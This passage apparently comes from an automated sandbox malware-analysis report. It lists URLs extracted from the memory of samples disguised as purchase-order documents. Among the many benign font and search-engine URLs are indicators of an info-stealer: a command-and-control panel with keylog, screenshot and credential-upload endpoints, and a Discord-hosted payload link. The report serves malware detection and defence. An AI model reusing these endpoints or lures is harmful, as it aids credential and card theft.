Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000391A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//keylogs.php?hwid=CH35A22CC8A70
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003033000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//logs.php?hwid=CH35A22CC8A7&Passwords=0&CreditCards=0&Cookies=0&AutoFi
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//screen.php?hwid=CH35A22CC8A7
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com/webpanel//task.php?hwid=CH35A22CC8A7
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000003022000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.com4
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000348D000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003803000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000038B4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035EA000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000344D000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000388F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003902000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003713000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003758000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003475000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000037CB000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000369E000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000034B6000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003796000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003736000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035F7000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000351F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003459000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.0000000003686000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000036F2000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000035BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mavelecgr.comD8
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.522255639.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.461947066.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.354155109.0000000007C5A000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.485268304.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.436404582.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.397335357.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.395787924.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.ado/1
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.522255639.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.461947066.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.354155109.0000000007C5A000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.485268304.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.436404582.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.397335357.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.395787924.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c/g
Source: asGTRKuvQ.exe, 00000026.00000002.739628796.000000000775A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.c/gX
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.522255639.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.461947066.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.354155109.0000000007C5A000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.485268304.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.436404582.0000000007C5C000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.397335357.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000003.395787924.0000000007C5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.cobj
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.318747990.00000000032D1000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033B1000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000015.00000002.521378994.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C0001000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.524353289.0000000002419000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F11000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263347245.0000000006417000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263315368.0000000006414000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263370648.0000000006406000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263323317.0000000006406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.como.
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.267947588.0000000006414000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.308629176.0000000006400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comae
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.267947588.0000000006414000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comldva?
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263036002.0000000006402000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.262795337.0000000006405000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.262795337.0000000006412000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.262795337.0000000006405000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn-i
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.263036002.0000000006402000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264010835.000000000640B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/$
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/0
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/?
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Bold
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/J
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Lihaw
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/S
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y0-u
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/e
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/$
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/J
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/S
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264255443.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/n
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264471242.0000000006415000.00000004.00000020.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264739439.0000000006415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/n
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.264010835.000000000640B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/sl-s
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.260975694.000000000641B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comA
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000003.260993619.000000000641B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comY
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.343244799.0000000007512000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004675000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000046A8000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041D3000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004205000.00000004.00000800.00020000.00000000.sdmp, REVISED PURCHASE ORDER.HTML	String found in binary or memory: https://cdn.discordapp.com/attachments/897446870190800920/1077105532562853908/REVISED_PURCHASE_ORDER
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004675000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000046A8000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041D3000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BBD4EA3DA
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.0000000004506000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000008.00000002.328581340.00000000043DD000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.00000000033E2000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000016.00000002.465900541.00000185C0109000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 00000021.00000002.534533664.00000000037EF000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F65000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002FB7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.626910982.0000000000402000.00000040.00000400.00020000.00000000.sdmp, update_232107.exe, 0000002A.00000002.641364256.0000000002BF5000.00000004.00000800.00020000.00000000.sdmp, info.txt.20.dr	String found in binary or memory: https://gomorrah.pw
Source: Zip.exe, 00000016.00000003.438076424.00000185D8A27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gorah.pw
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 